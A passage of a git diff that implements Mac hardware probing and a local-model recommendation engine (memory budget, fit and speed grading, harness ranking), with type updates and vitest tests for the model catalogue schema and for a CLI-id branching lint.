freeDiskBytes: freeDisk, freeDiskGb: formatGb(freeDisk) } + : {}; + + const facts = typeof stdout === 'string' ? parseSysctl(stdout) : {}; + if (facts.memBytes === undefined) { + const chip = await attempt(cpuModel); + return { + platform, + arch, + ...memoryFields(await attempt(totalMemBytes)), + ...(chip ? { chip } : {}), + ...disk, + source: 'os-fallback', + }; + } + + const chip = facts.chip ?? (await attempt(cpuModel)); + return { + platform, + arch, + ...(facts.arm64 !== undefined ? { arm64: facts.arm64 } : {}), + ...(facts.translated !== undefined ? { translated: facts.translated } : {}), + ...memoryFields(facts.memBytes), + ...(chip ? { chip } : {}), + ...(facts.model !== undefined ? { model: facts.model } : {}), + ...(facts.macosVersion !== undefined ? { macosVersion: facts.macosVersion } : {}), + ...(facts.macosMajor !== undefined ? { macosMajor: facts.macosMajor } : {}), + ...(facts.wiredLimitMb !== undefined ? { wiredLimitMb: facts.wiredLimitMb } : {}), + ...disk, + source: 'sysctl', + }; +} + +let cached: { at: number; facts: HardwareFacts } | undefined; +let inFlight: Promise | undefined; + /** * What this machine is. Cached for `HARDWARE_CACHE_TTL_MS`; concurrent callers share one probe. * Never rejects. + * + * The cache is one per process and does not look at `deps`: within the 60 s a second call + * returns the first call's answer whatever it injects. A test resets it first. */ -export async function readHardware(deps?: HardwareProbeDeps): Promise { - void deps; - throw new Error('not implemented: readHardware'); +export async function readHardware(deps: HardwareProbeDeps = {}): Promise { + const now = deps.now ?? Date.now; + if (cached) { + const age = now() - cached.at; + if (age >= 0 && age < HARDWARE_CACHE_TTL_MS) return cached.facts; + } + if (inFlight) return inFlight; + + const probe = probeHardware(deps) + .catch( + // Unreachable by design (every read above is guarded), and still an answer if it is reached. + (): HardwareFacts => ({ + platform: deps.platform ?? process.platform, + arch: deps.arch ?? os.arch(), + ...memoryFields(undefined), + source: (deps.platform ?? process.platform) === 'darwin' ? 'os-fallback' : 'not-probed', + }) + ) + .then((facts) => { + cached = { at: now(), facts }; + return facts; + }) + .finally(() => { + if (inFlight === probe) inFlight = undefined; + }); + inFlight = probe; + return probe; } -/** Drop the cached probe result (tests, and nothing else). */ +/** Drop the cached probe result and the memory of a pending disk read (tests, and nothing else). */ export function resetHardwareCache(): void { - throw new Error('not implemented: resetHardwareCache'); + cached = undefined; + inFlight = undefined; + pendingStatfs = undefined; } diff --git a/src/local-model/recommend.ts b/src/local-model/recommend.ts index 2536e63c..a0513093 100644 --- a/src/local-model/recommend.ts +++ b/src/local-model/recommend.ts @@ -2,54 +2,231 @@ * @fileoverview The recommendation itself: which model, at which context, with which harness * fits this Mac. Pure: no IO, no clock, no CLI registry, no data dir. * - * SKELETON: the exported signatures are final, the bodies are not written yet. This module - * will hold: + * The math, in the order it runs: * - `deviceBudget()`: L is the wired limit when it is above 0, else 2/3 of memory below 36 GB * and 3/4 from 36 GB. B = min(L - 1 GiB, memory - reserve), with a reserve of 6 GiB up to - * 18 GB, 8 GiB up to 48 GB and 12 GiB from 64 GB. + * 18 GB, 8 GiB up to 48 GB and 12 GiB above. * - `needBytes()`: F = weights + kvBytesPerToken * ctx + 1 GiB + the prompt cache tier of the * catalogue for this Mac's memory. - * - `recommend()`: the candidates (model, context, harness) with `ctx >= harness.minContext`, - * the harness installed or installable, accepting the model id and not gated; the fit (F/B up - * to 0.85 good, up to 0.98 tight, above out); the speed (ok, slow or unknown: a chip that is - * in no chips row is unknown, a bandwidth is never guessed); the ranking (good before tight, - * then ok before unknown before slow, then model rank, harness rank, larger context); and the - * verdict. + * - Fit: F/B up to 0.85 is good, up to 0.98 is tight, above is out. + * - Speed: tokens per second = the model's `speedPer100Gbps` x the chip's bandwidth / 100. + * Below 10 is slow. A chip that is in no chips row, or a model without a speed figure, is + * UNKNOWN: a bandwidth is never guessed. + * - Candidates: (model, context, harness) with `ctx >= harness.minContext`, the harness not + * gated, installed or installable, and accepting the model id. + * - Ranking, lexicographic: good before tight; ok before unknown before slow; the higher model + * rank; the higher harness rank; the larger context. The pick is the first candidate, the + * alternatives are the next four MODELS, each at its own best context and harness. + * + * Verdict `none`, in this order (the first that applies is the reason): + * 1. `not-macos`: the server does not run on macOS. + * 2. `intel`: a Mac without Apple silicon. + * 3. `macos`: macOS is older than the catalogue's minimum (an unknown version does not block). + * 4. `memory`: no model fits the budget at any of its contexts, whatever the harness. + * 5. `no-harness`: no harness row is usable (not gated, known to the caller, installed or + * installable). + * 6. `memory`: models fit, but none at a context a usable harness needs. + * 7. `no-harness`: models fit at such a context, but no usable harness accepts their id. + * 8. `disk`: for every remaining model, free disk minus the download is below 10 GiB (an + * unknown free disk does not block). * * Rules: - * - Verdict `limited` when the best candidate's model has fewer than 12 billion parameters. - * - The word "Recommended" (`LOCAL_MODEL_LABELS.headlineTested`) only for a pick whose model - * has a `tested` entry matching this Mac. Otherwise `headlineOk` plus `noteUntested`. - * - Reasons for `none`: not-macos, intel, memory, disk (free disk minus the download is below - * 10 GiB for every fitting model), macos, no-harness. + * - Verdict `limited` when the pick's model has fewer than 12 billion parameters. + * - The word "Recommended" (`LOCAL_MODEL_LABELS.headlineTested`) only for verdict `ok` with a + * pick whose model has a `tested` entry for exactly this chip, this memory size and this + * harness. Otherwise `headlineOk` (or `headlineLimited`) plus `noteUntested`. * - Every label in the result comes from `LOCAL_MODEL_LABELS`, every size text from * `formatGb()`. No number is spliced into a sentence here. * - No CLI id is ever compared with a literal: a harness is a catalogue row plus a * `HarnessFact`. */ -import type { - DeviceBudget, - HardwareFacts, - HarnessFact, - LocalModelCatalog, - LocalModelEntry, - Recommendation, +import { + LOCAL_MODEL_LABELS, + LOCAL_MODEL_NONE_LABELS, + type Candidate, + type DeviceBudget, + type FitGrade, + type HardwareFacts, + type HarnessFact, + type LocalHarnessEntry, + type LocalModelCatalog, + type LocalModelEntry, + type NoneReason, + type Recommendation, + type SpeedGrade, } from '../types.js'; +import { chipBandwidthGbps } from '../config/local-model-catalog.js'; +import { formatGb, GIB, MIB } from './format.js'; + +/** Need over budget up to this share is a `good` fit. */ +export const FIT_GOOD_MAX_SHARE = 0.85; +/** Need over budget up to this share is a `tight` fit; above it the model is out. */ +export const FIT_TIGHT_MAX_SHARE = 0.98; +/** An estimated speed below this many tokens per second is `slow`. */ +export const SLOW_BELOW_TOKENS_PER_SECOND = 10; +/** A pick whose model has fewer than this many billion parameters makes the verdict `limited`. */ +export const LIMITED_BELOW_PARAMS_B = 12; +/** What must stay free on the disk after the model download. */ +export const DISK_HEADROOM_BYTES = 10 * GIB; +/** What the runtime needs beside the weights, the KV cache and the prompt cache (compute buffers). */ +export const RUNTIME_OVERHEAD_BYTES = GIB; +/** How many other models are listed under the pick. */ +export const MAX_ALTERNATIVES = 4; + +/** A memory size of at least this many GB (as sold) gets 3/4 of its memory as device limit, below it 2/3. */ +const LARGE_LIMIT_FROM_GB = 36; + +/** The memory the system, Codeman, a browser and the agent keep for themselves, by the size the Mac is sold as. */ +function reserveBytes(memClassGb: number): number { + if (memClassGb <= 18) return 6 * GIB; + if (memClassGb <= 48) return 8 * GIB; + return 12 * GIB; +} /** The memory a model may use on this Mac: the device limit L, the budget B and where L came from. */ export function deviceBudget(hw: HardwareFacts): DeviceBudget { - void hw; - throw new Error('not implemented: deviceBudget'); + const memBytes = Number.isFinite(hw.memBytes) && hw.memBytes > 0 ? hw.memBytes : 0; + // 0 means "not set" (both test Macs report 0): only a value above 0 is a limit. + const wired = hw.wiredLimitMb !== undefined && Number.isFinite(hw.wiredLimitMb) && hw.wiredLimitMb > 0; + const limitBytes = wired + ? Math.floor((hw.wiredLimitMb as number) * MIB) + : Math.floor(memBytes * (hw.memClassGb < LARGE_LIMIT_FROM_GB ? 2 / 3 : 3 / 4)); + const budgetBytes = Math.max(0, Math.min(limitBytes - GIB, memBytes - reserveBytes(hw.memClassGb))); + return { limitBytes, budgetBytes, source: wired ? 'wired-limit' : 'estimated' }; +} + +/** The prompt cache of the last tier whose minimum is not above this Mac's memory size. */ +function promptCacheBytes(catalog: LocalModelCatalog, memClassGb: number): number { + let bytes = 0; + for (const tier of catalog.promptCacheTiers) { + if (tier.minMemGb <= memClassGb) bytes = tier.bytes; + } + return bytes; } /** F: the bytes `model` needs in memory at a context of `ctx` tokens on this Mac. */ export function needBytes(model: LocalModelEntry, ctx: number, catalog: LocalModelCatalog, hw: HardwareFacts): number { - void model; - void ctx; - void catalog; - void hw; - throw new Error('not implemented: needBytes'); + return model.bytes + model.kvBytesPerToken * ctx + RUNTIME_OVERHEAD_BYTES + promptCacheBytes(catalog, hw.memClassGb); +} + +function fitGrade(need: number, budgetBytes: number): FitGrade { + if (budgetBytes <= 0) return 'out'; + const share = need / budgetBytes; + if (share <= FIT_GOOD_MAX_SHARE) return 'good'; + if (share <= FIT_TIGHT_MAX_SHARE) return 'tight'; + return 'out'; +} + +/** + * Whether the MACHINE is Apple silicon. `hw.optional.arm64` decides when it was read. Without + * it: a process under Rosetta, an arm64 process or an Apple chip name each prove Apple silicon + * (`arch` alone cannot say no, because Node under Rosetta reports x64). + */ +function isAppleSilicon(hw: HardwareFacts): boolean { + if (hw.arm64 !== undefined) return hw.arm64; + if (hw.translated === true || hw.arch === 'arm64') return true; + return /^Apple\b/i.test(hw.chip ?? ''); +} + +function round(value: number, decimals: number): number { + const factor = 10 ** decimals; + return Math.round(value * factor) / factor; +} + +/** A candidate plus the two ranks the ordering needs, which are not part of the payload. */ +interface Ranked { + candidate: Candidate; + modelRank: number; + harnessRank: number; +} + +/** A catalogue harness row with the caller's fact about it. */ +interface UsableHarness { + row: LocalHarnessEntry; + fact: HarnessFact; +} + +const FIT_ORDER: Record = { good: 0, tight: 1 }; +const SPEED_ORDER: Record = { ok: 0, unknown: 1, slow: 2 }; + +/** Best first. */ +function compareRanked(a: Ranked, b: Ranked): number { + return ( + FIT_ORDER[a.candidate.fit] - FIT_ORDER[b.candidate.fit] || + SPEED_ORDER[a.candidate.speed] - SPEED_ORDER[b.candidate.speed] || + b.modelRank - a.modelRank || + b.harnessRank - a.harnessRank || + b.candidate.context - a.candidate.context + ); +} + +/** A function supplied by the caller must not be able to break a pure answer. */ +function accepts(fact: HarnessFact, modelId: string): boolean { + try { + return fact.acceptsModelId(modelId) === true; + } catch { + return false; + } +} + +function buildCandidate( + model: LocalModelEntry, + ctx: number, + harness: UsableHarness, + need: number, + fit: Candidate['fit'], + hw: HardwareFacts, + catalog: LocalModelCatalog, + budgetBytes: number +): Candidate { + const gbps = chipBandwidthGbps(catalog.chips, hw.chip); + const tokensPerSecond = + gbps !== undefined && model.speedPer100Gbps !== undefined + ? round((model.speedPer100Gbps * gbps) / 100, 1) + : undefined; + const speed: SpeedGrade = + tokensPerSecond === undefined ? 'unknown' : tokensPerSecond < SLOW_BELOW_TOKENS_PER_SECOND ? 'slow' : 'ok'; + // "A Mac like this" is exact: the same chip string, the same memory size as sold, the same harness. + const tested = model.tested.some( + (entry) => entry.chip === hw.chip && entry.memGb === hw.memClassGb && entry.cli === harness.row.cli + ); + return { + modelId: model.id, + modelLabel: model.label, + license: model.license, + paramsB: model.paramsB, + context: ctx, + cli: harness.row.cli, + cliLabel: harness.fact.label, + cliInstalled: harness.fact.installed, + ...(harness.row.slowFirstTurn ? { slowFirstTurn: true } : {}), + needBytes: need, + needGb: formatGb(need), + downloadBytes: model.bytes, + downloadGb: formatGb(model.bytes), + budgetShare: round(need / budgetBytes, 3), + fit, + fitLabel: fit === 'good' ? LOCAL_MODEL_LABELS.fitGood : LOCAL_MODEL_LABELS.fitTight, + speed, + ...(speed === 'slow' ? { speedLabel: LOCAL_MODEL_LABELS.speedSlow } : {}), + ...(speed === 'unknown' ? { speedLabel: LOCAL_MODEL_LABELS.speedUnknown } : {}), + ...(tokensPerSecond !== undefined ? { tokensPerSecond } : {}), + tested, + }; +} + +function none(reason: NoneReason, budget: DeviceBudget, vars?: Record): Recommendation { + return { + verdict: 'none', + reason, + headline: { text: LOCAL_MODEL_NONE_LABELS[reason], ...(vars ? { vars } : {}) }, + notes: [], + alternatives: [], + budgetBytes: budget.budgetBytes, + budgetGb: formatGb(budget.budgetBytes), + budgetSource: budget.source, + }; } /** @@ -61,8 +238,99 @@ export function recommend( catalog: LocalModelCatalog, harnessFacts: readonly HarnessFact[] ): Recommendation { - void hw; - void catalog; - void harnessFacts; - throw new Error('not implemented: recommend'); + // Off macOS and on an Intel Mac there is no budget to compute: a model has no memory to run in. + const noBudget: DeviceBudget = { limitBytes: 0, budgetBytes: 0, source: 'estimated' }; + if (hw.platform !== 'darwin') return none('not-macos', noBudget); + if (!isAppleSilicon(hw)) return none('intel', noBudget); + + const budget = deviceBudget(hw); + if (hw.macosMajor !== undefined && hw.macosMajor < catalog.minMacosMajor) { + return none('macos', budget, { + version: hw.macosVersion ?? String(hw.macosMajor), + minimum: String(catalog.minMacosMajor), + }); + } + + // Every (model, context) that fits the budget, before any harness is looked at. + const fitting: { model: LocalModelEntry; ctx: number; need: number; fit: Candidate['fit'] }[] = []; + for (const model of catalog.models) { + for (const ctx of model.contexts) { + const need = needBytes(model, ctx, catalog, hw); + const fit = fitGrade(need, budget.budgetBytes); + if (fit !== 'out') fitting.push({ model, ctx, need, fit }); + } + } + const tooLittleMemory = (): Recommendation => none('memory', budget, { memory: hw.memGb }); + if (fitting.length === 0) return tooLittleMemory(); + + // A gated row is never offered, whatever the caller knows about its CLI. + const usable: UsableHarness[] = []; + for (const row of catalog.harnesses) { + if (row.gated) continue; + const fact = harnessFacts.find((candidate) => candidate.cli === row.cli); + if (fact && (fact.installed || fact.installable)) usable.push({ row, fact }); + } + if (usable.length === 0) return none('no-harness', budget); + + const atHarnessContext = fitting.flatMap((entry) => + usable.filter((harness) => entry.ctx >= harness.row.minContext).map((harness) => ({ ...entry, harness })) + ); + if (atHarnessContext.length === 0) return tooLittleMemory(); + + const accepted = atHarnessContext.filter((entry) => accepts(entry.harness.fact, entry.model.id)); + if (accepted.length === 0) return none('no-harness', budget); + + // The download must leave headroom on the disk. An unknown free disk does not block. + const free = hw.freeDiskBytes; + const downloadable = + free === undefined ? accepted : accepted.filter((entry) => free - entry.model.bytes >= DISK_HEADROOM_BYTES); + if (free !== undefined && downloadable.length === 0) { + const smallest = Math.min(...accepted.map((entry) => entry.model.bytes)); + return none('disk', budget, { + download: formatGb(smallest), + free: hw.freeDiskGb ?? formatGb(free), + missing: formatGb(smallest + DISK_HEADROOM_BYTES - free), + }); + } + + const ranked: Ranked[] = downloadable + .map((entry) => ({ + candidate: buildCandidate( + entry.model, + entry.ctx, + entry.harness, + entry.need, + entry.fit, + hw, + catalog, + budget.budgetBytes + ), + modelRank: entry.model.rank, + harnessRank: entry.harness.row.rank, + })) + .sort(compareRanked); + + // The first candidate of each model is that model at its best context and harness. + const bestPerModel: Candidate[] = []; + for (const { candidate } of ranked) { + if (!bestPerModel.some((kept) => kept.modelId === candidate.modelId)) bestPerModel.push(candidate); + } + const [pick, ...others] = bestPerModel; + + const limited = pick.paramsB < LIMITED_BELOW_PARAMS_B; + const headline = limited + ? LOCAL_MODEL_LABELS.headlineLimited + : pick.tested + ? LOCAL_MODEL_LABELS.headlineTested + : LOCAL_MODEL_LABELS.headlineOk; + return { + verdict: limited ? 'limited' : 'ok', + headline: { text: headline }, + notes: pick.tested ? [] : [{ text: LOCAL_MODEL_LABELS.noteUntested }], + pick, + alternatives: others.slice(0, MAX_ALTERNATIVES), + budgetBytes: budget.budgetBytes, + budgetGb: formatGb(budget.budgetBytes), + budgetSource: budget.source, + }; } diff --git a/src/types/local-model.ts b/src/types/local-model.ts index 5298c3bb..77352d64 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -129,11 +129,14 @@ export interface LocalHarnessEntry { /** * Memory bandwidth of one chip family. `LocalModelCatalog.chips` is ordered most specific first - * ('M4 Max' before 'M4') and the first row whose `match` occurs in `HardwareFacts.chip` wins. A - * chip that matches no row has an UNKNOWN speed: a bandwidth is never guessed. + * ('M4 Max' before 'M4') and the first row that names `HardwareFacts.chip` wins. A row names a + * chip when the chip string ENDS with its `match`, starting at the beginning or after a space, + * case ignored (`chipNameMatches()` in src/config/local-model-catalog.ts): 'M4' is not the chip + * of 'Apple M4 Pro', and a variant the table has never heard of ('Apple M6 Pro') matches no row. + * A chip that matches no row has an UNKNOWN speed: a bandwidth is never guessed. */ export interface ChipEntry { - /** Text that must occur in the chip string ('M4 Max'). */ + /** The chip name the chip string must end with ('M4 Max'). */ match: string; /** Memory bandwidth in GB/s. */ gbps: number; @@ -305,7 +308,7 @@ export interface Candidate { downloadBytes: number; /** `downloadBytes` as decimal GB text, no unit. */ downloadGb: string; - /** `needBytes / Recommendation.budgetBytes` (0.83). */ + /** `needBytes / Recommendation.budgetBytes`, rounded to three decimals (0.83). The fit grade is decided on the unrounded ratio. */ budgetShare: number; /** A candidate in a `Recommendation` is never `out`. */ fit: Exclude; @@ -339,7 +342,7 @@ export interface Recommendation { pick?: Candidate; /** The next models that fit (at most four, each at its best context and harness), best first. Empty when `verdict` is `none`. */ alternatives: Candidate[]; - /** `DeviceBudget.budgetBytes`. 0 when the budget could not be computed (not macOS). */ + /** `DeviceBudget.budgetBytes`. 0 when no budget is computed: not macOS, or a Mac without Apple silicon. */ budgetBytes: number; /** `budgetBytes` as decimal GB text, no unit. */ budgetGb: string; diff --git a/test/cli-registry-no-id-branching.test.ts b/test/cli-registry-no-id-branching.test.ts index c746bdfb..cf31be83 100644 --- a/test/cli-registry-no-id-branching.test.ts +++ b/test/cli-registry-no-id-branching.test.ts @@ -167,7 +167,6 @@ const ALLOWED_BRANCHES: Record = { ), "tui/tui-render.ts::mode !== 'claude'": allow(1, 'cosmetic: suppress the mode badge for the default mode'), - // Legacy Config plumbing, same category as the `===` entries above. "web/routes/session-routes.ts::mode !== 'omp'": allow( 2, @@ -212,8 +211,10 @@ const ID_ALT = IDS.join('|'); */ const BRANCH_PATTERN = new RegExp( [ - // mode === 'codex' / mode !== 'codex' - `\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`, + // mode === 'codex' / mode !== 'codex'. `cli` is the name the local model catalogue gives + // the same thing (`LocalHarnessEntry.cli`, `Candidate.cli`), so `harness.cli === 'claude'` + // is the same banned branch under another field name. + `\\b(?:mode|id|agentType|cli)\\s*[!=]==\\s*'(?:${ID_ALT})'`, // case 'codex': `\\bcase\\s+'(?:${ID_ALT})'\\s*:`, // ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits @@ -267,7 +268,7 @@ function scan(): { findings: Finding[]; filesScanned: number } { lines.forEach((line, i) => { BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts for (const match of line.matchAll(BRANCH_PATTERN)) { - const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode'); + const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType|cli)/, 'mode'); const posix = rel.split(sep).join('/'); findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` }); } @@ -337,6 +338,8 @@ describe('no CLI-id branching outside the stock catalog', () => { "if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }", "switch (mode) { case 'gemini': return 1; }", "if (['codex', 'gemini'].includes(mode)) { doSomething(); }", + "if (harness.cli === 'claude') { doSomething(); }", + "const others = candidates.filter((c) => c.cli !== 'opencode');", ]; for (const sample of samples) { BRANCH_PATTERN.lastIndex = 0; diff --git a/test/local-model-catalog.test.ts b/test/local-model-catalog.test.ts new file mode 100644 index 00000000..5f72b764 --- /dev/null +++ b/test/local-model-catalog.test.ts @@ -0,0 +1,383 @@ +/** + * @fileoverview Tests for src/config/local-model-catalog.ts: the compiled catalogue of models, + * harnesses and chips, its schema, and the chip lookup. + * + * Three things are pinned: + * + * 1. The stock constant PARSES. `getLocalModelCatalog()` validates it on first use and throws on + * a bad row, so this test is what keeps a bad row from ever reaching the route. + * 2. The schema refuses what must never get in: a model id that could name another registry + * (a slash, a host), an unknown key (a `runtime` block with a download URL), and rows that + * break a rule across rows (a repeated id, contexts in the wrong order, a chip row that + * hides a more specific one). + * 3. The chip lookup never guesses: a chip that no row names has no bandwidth, including one + * whose name merely contains a known name ('Apple M10', 'Apple M6 Pro'). + * + * Port: N/A (pure data and functions). + */ + +import { describe, expect, it } from 'vitest'; +import { + chipBandwidthGbps, + chipNameMatches, + getLocalModelCatalog, + LOCAL_MODEL_ID_PATTERN, + LocalModelCatalogSchema, + STOCK_LOCAL_MODEL_CATALOG, +} from '../src/config/local-model-catalog.js'; +import type { LocalModelCatalog, LocalModelEntry } from '../src/types.js'; + +/** A deep copy of the stock catalogue that a test may break. */ +function copy(): LocalModelCatalog { + return structuredClone(STOCK_LOCAL_MODEL_CATALOG); +} + +/** The message of every issue the schema raises for `catalog`, or an empty list when it parses. */ +function issuesOf(catalog: unknown): string[] { + const result = LocalModelCatalogSchema.safeParse(catalog); + return result.success ? [] : result.error.issues.map((issue) => `${issue.path.join('.')}: ${issue.message}`); +} + +/** The stock catalogue with its first model changed. */ +/** `url` is no field of a model row: one test passes it to prove the schema refuses an unknown key. */ +function withFirstModel(change: Partial>): unknown { + const catalog = copy(); + return { ...catalog, models: [{ ...catalog.models[0], ...change }, ...catalog.models.slice(1)] }; +} + +describe('the stock catalogue', () => { + it('passes its own schema', () => { + expect(issuesOf(STOCK_LOCAL_MODEL_CATALOG)).toEqual([]); + }); + + it('is what the getter returns, validated once', () => { + const first = getLocalModelCatalog(); + expect(first).toEqual(STOCK_LOCAL_MODEL_CATALOG); + // Parsed on first use, then reused: the same object, not a new parse per request. + expect(getLocalModelCatalog()).toBe(first); + }); + + it('lists the seven models of the design, without flint:40b', () => { + expect(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => m.id)).toEqual([ + 'qwen3.5:9b', + 'qwen3.5:9b-q8_0', + 'gpt-oss:20b', + 'qwen3.6:35b-a3b', + 'qwen3.8:27b', + 'qwen3.8:27b-q8_0', + 'qwen3.5:122b-a10b', + ]); + expect(STOCK_LOCAL_MODEL_CATALOG.models.some((m) => m.id.startsWith('flint'))).toBe(false); + }); + + it('carries the byte sizes of the registry manifests', () => { + // The sum of the layer sizes of each tag's manifest, as fetched on 2026-11-06. + expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.bytes]))).toEqual({ + 'qwen3.5:9b': 6_550_825_373, + 'qwen3.5:9b-q8_0': 10_449_217_949, + 'gpt-oss:20b': 13_793_441_427, + 'qwen3.6:35b-a3b': 22_621_314_161, + 'qwen3.8:27b': 17_741_871_939, + 'qwen3.8:27b-q8_0': 29_978_241_837, + 'qwen3.5:122b-a10b': 81_370_035_877, + }); + }); + + it('carries the KV cost per token of each model', () => { + expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.kvBytesPerToken]))).toEqual({ + 'qwen3.5:9b': 32_768, + 'qwen3.5:9b-q8_0': 32_768, + 'gpt-oss:20b': 24_576, + 'qwen3.6:35b-a3b': 20_480, + 'qwen3.8:27b': 65_536, + 'qwen3.8:27b-q8_0': 65_536, + 'qwen3.5:122b-a10b': 24_576, + }); + }); + + it('gives every model a parameter count and an empty tested list', () => { + for (const model of STOCK_LOCAL_MODEL_CATALOG.models) { + expect(model.paramsB, model.id).toBeGreaterThan(0); + // Nobody has run any of these with a harness on a Mac yet. + expect(model.tested, model.id).toEqual([]); + expect(model.id).toMatch(LOCAL_MODEL_ID_PATTERN); + expect(model.license).toBe('Apache-2.0'); + } + // The two 9B rows are the ones under the 12 billion line of the `limited` verdict. + expect(STOCK_LOCAL_MODEL_CATALOG.models.filter((m) => m.paramsB < 12).map((m) => m.id)).toEqual([ + 'qwen3.5:9b', + 'qwen3.5:9b-q8_0', + ]); + }); + + it('has a speed figure only where one was measured or scaled from a measurement', () => { + expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.speedPer100Gbps ?? null]))).toEqual({ + 'qwen3.5:9b': 9.3, + 'qwen3.5:9b-q8_0': 5.8, + 'gpt-oss:20b': null, + 'qwen3.6:35b-a3b': 13.6, + 'qwen3.8:27b': 2.95, + 'qwen3.8:27b-q8_0': 1.7, + 'qwen3.5:122b-a10b': null, + }); + }); + + it('lists its harnesses as data rows, one of them gated', () => { + expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([ + { cli: 'opencode', minContext: 65536, rank: 3 }, + { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true }, + { cli: 'pi', minContext: 32768, rank: 1, gated: true }, + ]); + }); + + it('counts the prompt cache as 512 MiB below 32 GB and 2 GiB from 32 GB', () => { + expect(STOCK_LOCAL_MODEL_CATALOG.promptCacheTiers).toEqual([ + { minMemGb: 0, bytes: 512 * 1024 ** 2 }, + { minMemGb: 32, bytes: 2 * 1024 ** 3 }, + ]); + expect(STOCK_LOCAL_MODEL_CATALOG.minMacosMajor).toBe(14); + expect(STOCK_LOCAL_MODEL_CATALOG.schema).toBe(1); + }); + + it('holds no download data: no URL, no digest, no runtime block', () => { + const text = JSON.stringify(STOCK_LOCAL_MODEL_CATALOG); + expect(text).not.toMatch(/https?:/); + expect(text).not.toMatch(/sha256/i); + expect(Object.keys(STOCK_LOCAL_MODEL_CATALOG).sort()).toEqual( + ['chips', 'harnesses', 'minMacosMajor', 'models', 'promptCacheTiers', 'schema', 'updated'].sort() + ); + }); +}); + +describe('the model id rule', () => { + it('accepts name:tag in lowercase', () => { + for (const id of ['qwen3.5:9b', 'gpt-oss:20b', 'qwen3.8:27b-q8_0', 'a:b', 'x_y.z-1:2.3_4']) { + expect(LOCAL_MODEL_ID_PATTERN.test(id), id).toBe(true); + } + }); + + it('refuses anything that could name another registry, namespace or no tag at all', () => { + const bad = [ + 'evil.example/x/y:z', + 'library/qwen3.5:9b', + 'registry.ollama.ai/library/qwen3.5:9b', + 'Qwen3.5:9b', + 'qwen3.5:9B', + 'qwen3.5', + 'qwen3.5:', + ':9b', + 'qwen3.5:9b:extra', + 'qwen 3.5:9b', + '-qwen:9b', + 'qwen:-9b', + 'qwen3.5:9b\n', + '', + ]; + for (const id of bad) expect(LOCAL_MODEL_ID_PATTERN.test(id), JSON.stringify(id)).toBe(false); + }); + + it('makes the schema reject a catalogue with such an id', () => { + for (const id of ['evil.example/x/y:z', 'Qwen3.5:9b', 'qwen3.5', 'qwen3.5:9b ']) { + const issues = issuesOf(withFirstModel({ id })); + expect(issues, id).toHaveLength(1); + expect(issues[0]).toContain('models.0.id'); + } + }); +}); + +describe('the schema, field by field', () => { + it('refuses a key it does not know, at the top and inside a row', () => { + // The whole point of having no `runtime` block: a data row can never carry a download URL. + expect(issuesOf({ ...copy(), runtime: { url: 'https://example.com/x.tgz', sha256: 'abc' } })).not.toEqual([]); + expect(issuesOf(withFirstModel({ url: 'https://example.com/model' }))).not.toEqual([]); + const catalog = copy(); + expect(issuesOf({ ...catalog, harnesses: [{ ...catalog.harnesses[0], dialect: 'openai' }] })).not.toEqual([]); + expect(issuesOf({ ...catalog, chips: [{ match: 'M4', gbps: 120, cores: 10 }] })).not.toEqual([]); + }); + + it('requires paramsB and tested on every model row', () => { + for (const field of ['paramsB', 'tested'] as const) { + const row: Record = { ...copy().models[0] }; + delete row[field]; + const issues = issuesOf({ ...copy(), models: [row] }); + expect(issues, field).toHaveLength(1); + expect(issues[0]).toContain(`models.0.${field}`); + } + }); + + it('refuses sizes and counts that are not positive whole numbers', () => { + expect(issuesOf(withFirstModel({ bytes: 0 }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ bytes: 1.5 }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ kvBytesPerToken: -1 }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ contexts: [] }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ paramsB: 0 }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ speedPer100Gbps: 0 }))).not.toEqual([]); + }); + + it('accepts a tested entry and checks its shape', () => { + const good = { chip: 'Apple M4', memGb: 16, cli: 'opencode', date: '2026-11-06' }; + expect(issuesOf(withFirstModel({ tested: [good] }))).toEqual([]); + expect(issuesOf(withFirstModel({ tested: [{ ...good, date: '6 November 2026' }] }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ tested: [{ ...good, memGb: 0 }] }))).not.toEqual([]); + expect(issuesOf(withFirstModel({ tested: [{ ...good, result: 'pass' }] }))).not.toEqual([]); + }); + + it('refuses another schema version and a date that is not ISO', () => { + expect(issuesOf({ ...copy(), schema: 2 })).not.toEqual([]); + expect(issuesOf({ ...copy(), updated: 'today' })).not.toEqual([]); + }); +}); + +describe('the schema, across rows', () => { + it('refuses a repeated model id', () => { + const catalog = copy(); + catalog.models[1] = { ...catalog.models[1], id: catalog.models[0].id }; + expect(issuesOf(catalog)).toEqual(['models.1.id: model ids must be unique']); + }); + + it('refuses a repeated model rank, which would leave the order of two models to chance', () => { + const catalog = copy(); + catalog.models[1] = { ...catalog.models[1], rank: catalog.models[0].rank }; + expect(issuesOf(catalog)).toEqual(['models.1.rank: model ranks must be unique']); + }); + + it('refuses a harness listed twice and a repeated harness rank', () => { + const twice = copy(); + twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 }); + expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']); + + const sameRank = copy(); + sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank }; + expect(issuesOf(sameRank)).toEqual(['harnesses.1.rank: harness ranks must be unique']); + }); + + it('refuses contexts that are not listed largest first, or that repeat', () => { + expect(issuesOf(withFirstModel({ contexts: [32768, 65536] }))).toEqual([ + 'models.0.contexts.1: contexts must be 